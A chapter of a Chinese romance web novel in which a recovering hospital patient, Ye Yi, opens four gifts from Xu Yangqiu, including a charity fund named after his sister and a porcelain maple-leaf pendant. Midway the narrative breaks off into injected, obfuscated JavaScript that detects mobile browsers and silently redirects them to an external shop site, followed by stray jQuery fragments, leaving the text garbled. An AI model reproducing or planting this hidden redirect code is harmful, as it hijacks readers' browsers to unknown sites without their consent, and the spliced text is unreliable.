叶一回到病房，轻手轻脚地拉开门，却发现许阳秋不在。
他身上的黑色运动衣透气性很好，是她专门为他准备的，穿起来很舒服。现在这件衣服被冷汗浸得湿透，贴在身上。
他走进淋浴间，把身上的衣服都脱掉，没放进一边的脏衣篓，而是照例藏进镜子下方的柜子里。
他能单腿站立以后，洗澡椅就被她收起来，取而代之的是脚感柔软的防滑垫，垫子上是可爱的小狗图案。
叶一熟练地将重心放在左脚，手肘撑在扶手上，迅速地洗完澡。
他擦干身上的水，套上棉质睡衣，伸头往外看了一眼，没人。
于是他把脏衣服拿出来抱在手上，垫着脚蹦出淋浴间，拿起门口的肘拐往外走。
门一开，发现许阳秋就站在门外。
她看起来已经站了有一会，靠在墙边，不知道在想什么，连他开门都没有察觉。
叶一顿了顿，接着轻轻放开门把手，蹑手蹑脚地往屋里退。
谁知风一吹，半开的门很突然地被吹动，咣的一声砸在墙上。
许阳秋顺着声音看过来，跟他四目相对。
她看看他，又看看他手里的衣服，再看看他显然是在退后的动作，什么也没说。
叶一攥着拐杖上凉凉的金属，只觉得脸热。
他以为她会打趣，但她没有。
“忘了跟你说，用这个洗贴身衣物吧。”许阳秋指指洗衣机上面黑白相间的立方体，“别再偷偷跑去水房了，水房地滑，不安全。他们医务部那个主任我搞不定，他死活不让我在公用水房铺地毯，自费都不行。而且我电话打太多，甚至被他拉黑了。”
她有些苦恼地摇摇头，“亏我还让整幢楼复健患者的家属签了联名信，现在我走到哪都有人问我什么时候能铺地毯。”
叶一看看她，再看看那个小型洗衣机，再看看她。
心脏也像被丢进洗衣机滚筒里搅啊搅的，躁动无状，半点由不得自己。
从前的许阳秋不是这样的。
从前她总是心安理得地让他包揽一切琐事，做饭、洗碗、开车等等微不足道的小事。
他将那些视为被需要，视为能待在她身边的邀请函，几乎乐此不疲。
因此他从不知道，许阳秋会这么贴心，这么精细地照顾一个人。
从前，她都是这样照顾钱桂阿姨的吗？也是这样照顾那位李总的吗？那此时此刻，他又凭什么享受这些呢？
他大言不惭地让威利不要以任何理由要求她、绑住她，但说到底，真正困着她的是谁呢？
“发什么呆？来吃饭吧。”
“哦.....等会再吃吧。”
许阳秋没有逼他，把午餐放到一边，有一搭没一搭地跟他聊天，说到他终于可以自主屈腿时，她笑得很开心。
“哦对了，我之前不是说给你带了礼物吗？你这人怎么回事啊，都不知道主动找我要。”
她说话的时候微微扬着眉，看起来跟平时故意惹他的样子没什么区别。
但总觉得哪里不一样。
她大约是不满他的沉默，手在他面前挥两下，“回神啦！你英明神武的热心邻居要给你送礼物，小天才你能别死机吗？”
想要礼物。
想要她的礼物。
叶一点点头，“是什么？”
她像个在邀功的小朋友，比出三根手指。
接着拇指放松，任由小拇指从蜷曲到伸直，三变成了四。
“准备礼物这种事，一旦开始就根本停不下来。”许阳秋弯着眼睛，“再不给你，我大概就要开辆卡车来给你装礼物了。”
叶一吸一口气，胸口浅浅起伏。
她那哄人的、骗人的、动听的话。
许阳秋从包里翻出四个包装精致的礼盒，有大有小，被她在桌上一字排开。
她指指最边上的扁盒子，示意他打开。
叶一打开第一个盒子，里面竟然是空的。
他把盒子翻过来掉过去看了几遍，甚至翻开纸盒边缘找了半天，连半个字都没有。
他正在犹豫要不要沿着折痕把礼盒整个拆开铺平的时候，听到了一声极轻的笑。
又被耍了。
“这么看着我干什么？”许阳秋托着腮，“这个礼物只有聪明人能看见，怎么样，是不是个超棒的礼物？”
叶一瞥她一眼，“安徒生童话？”
“你看过？”
“给小玉讲过。”
费这么大力气，就为了惹他生气，确实是她能做出来的事。
叶一无奈地把盒子收起来，却被她伸手拦下。
“你真以为我没准备礼物？”许阳秋曲起手指在他手背上轻敲两下，以此表达不满，“你怎么回事啊，收礼物的人要积极一点！”
叶一配合地说：“第一个礼物是什么？”
“没诚意。”许阳秋笑着抱怨，“这件礼物没办法装在盒子里给你。问你啊，你们在被信杨集团收购之前，有好好做过调研吗？”
叶一点点头。
她轻“啧”一声，“就说你们公司的财税法都是吃干饭的，你点进信杨集团的官网，就能看到第一个礼物了。”
叶一有些茫然，但还是照做。
信杨集团官网配色高端大气，挂着企业文化与重大新闻，不像是装着礼物的样子。
他滑动触控板，忽然看到了熟悉又陌生的两个字。看到的瞬间，一种汹涌的感受在心中荡漾开来，眼眶酸涩。
“我加入信杨之后，着手成立公益子公司、建立公益基金，你看到的这只基金是一年多以前，我刚加入信杨集团没多久的时候建立的。”许阳秋轻声说，“这一支基金主要用于关爱未成年女性，会包含助学金、爱心物资、生理卫生课堂等等。”
叶一张了张嘴，却说不出话。
“我找宁总要了这只基金的命名权，那时候没想过会再见你。毕竟那次吵得很凶，我以为你再也不想见到我了。所以我就擅作主张，用了你妹妹的名字。现在才来问你允不允许，是有点晚了。”
说完，她又不甚确定地追问一句：“这是个礼物，对吗？”
当然。当然。
叶子公益基金。
这六个字一次次模糊，又一次次清晰。
叶一咬着牙点点头，还是说不出话。
许阳秋把第二个薄薄的礼盒推过去，示意他继续拆，见他半天没动又补一句：“同样的玩笑我才不会开第二次，这个不是空的。”
叶一眨眨眼，拼命抑制扑过去抱住她的冲动，拿起第二个礼盒。它外观上和第一个礼盒没什么区别，但重很多。
打开后，里面是一份厚厚的文档。
“我之前一直追着你问你想做什么，可你就是不肯说。就算你不说，我也大概猜得到。你之前做医疗A
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14328669|140050||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
I，也是为了叶子吧？如果你想把Never Leaves APP正式面向大众，那前期也需要拉到创投。”
“我看过你们那个珠利叶的项目书，写得太......”许阳秋措辞半秒，“反正肯定不是你写的，要是你写，宁总连现场都不用听，早就投你们了。”
她嘴角噙着笑，看起来句句发自内心。
她那哄人的、骗人的、动听的话。
“你之前在我办公室里的时候，是在写这个BP？”
“对啊。”许阳秋说，“我算不上多擅长写，但看得多了，能大概理解甲方想要什么。里面的产品方案我没有你了解，你可以好好润色，但框架我帮你搭好了。你拉投资的时候可以试试这份。”
她蹲了一会，意味深长地说：“我很有信心，对你，和我。”
第三个礼物，是一只可爱的木雕小狗，在用一个大得惊人的饭盆吃饭，它吃得太过投入，以至于两只耳朵飞起来。
许阳秋笑着跟他讲了异国他乡的中国大爷，说这个金毛像是在用浴缸干饭，跟他一样。
最后一个礼物，许阳秋卖了个关子，摁住他的手不让他拆。
“等一下，问你个问题，答对了再拆。”
“好。”
“你觉不觉得这个木雕小狗有点眼熟啊？”
“嗯。”
“就一个字啊？展开说说嘛，哪里眼熟？”
“你在陶瓷小镇买过一个类似的冰箱贴。”
许阳秋满意地点点头：“正确！我那天还看中了一个白色的瓷杯，你记得吗？”
“嗯，记得，老板后来免费送你了。”
“我当时买那个杯子，是因为它也有一颗痣。”许阳秋点点右眼下方，“这里。”
叶一愣住。
“那时候我觉得，你跟那个白瓷杯给我的感觉一模一样。干净通透，而且......一样脆弱。”许阳秋眼眶泛出粉色，“可那个杯子被我不小心摔碎了......你打开吧。”
礼盒里面是一条皮绳串成的项链，吊坠是纯白雕花的一块小巧瓷片。
那块瓷片被雕成枫叶的形状，那个小小的矿点在枫叶正中，变成了树叶纹路中的一部分，极其生动。
也像枫叶正中的疤。
瓷片吊坠被他拿出来攥在手里，枫叶的棱角边缘都被磨得圆钝，可他却说不出哪里痛。
他身上的枫叶碎了，所以她重新找回了一片。
“想什么呢？吊坠不是你的礼物。”许阳秋大约是想调侃，可声音太轻，连轻笑都像是耳语，“你的礼物是——
——给我戴上。”
叶一的理智告诉他，不该做这么“危险”的事，但人已经向她靠近，双手已经抬起。
许阳秋今天不太一样，她看起来冷静，但又格外不冷静。
但他的手已经解开锁扣，双手悬空环住她的脖颈。
那是个互不接触的拥抱。
咔哒一声轻响，那片与他下腹一般无二的枫叶飘落在她胸口。
一秒、两秒后他才舍得微微退后，却突兀地嗅到一股淡淡的馨香。
叶一的鼻翼不自觉地翕动两下，“你身上......”
话音未落，他可耻地意识到了某些不对。
他猛地后退，接着对上她的视线。
她发现了。
“你......起反应了啊。”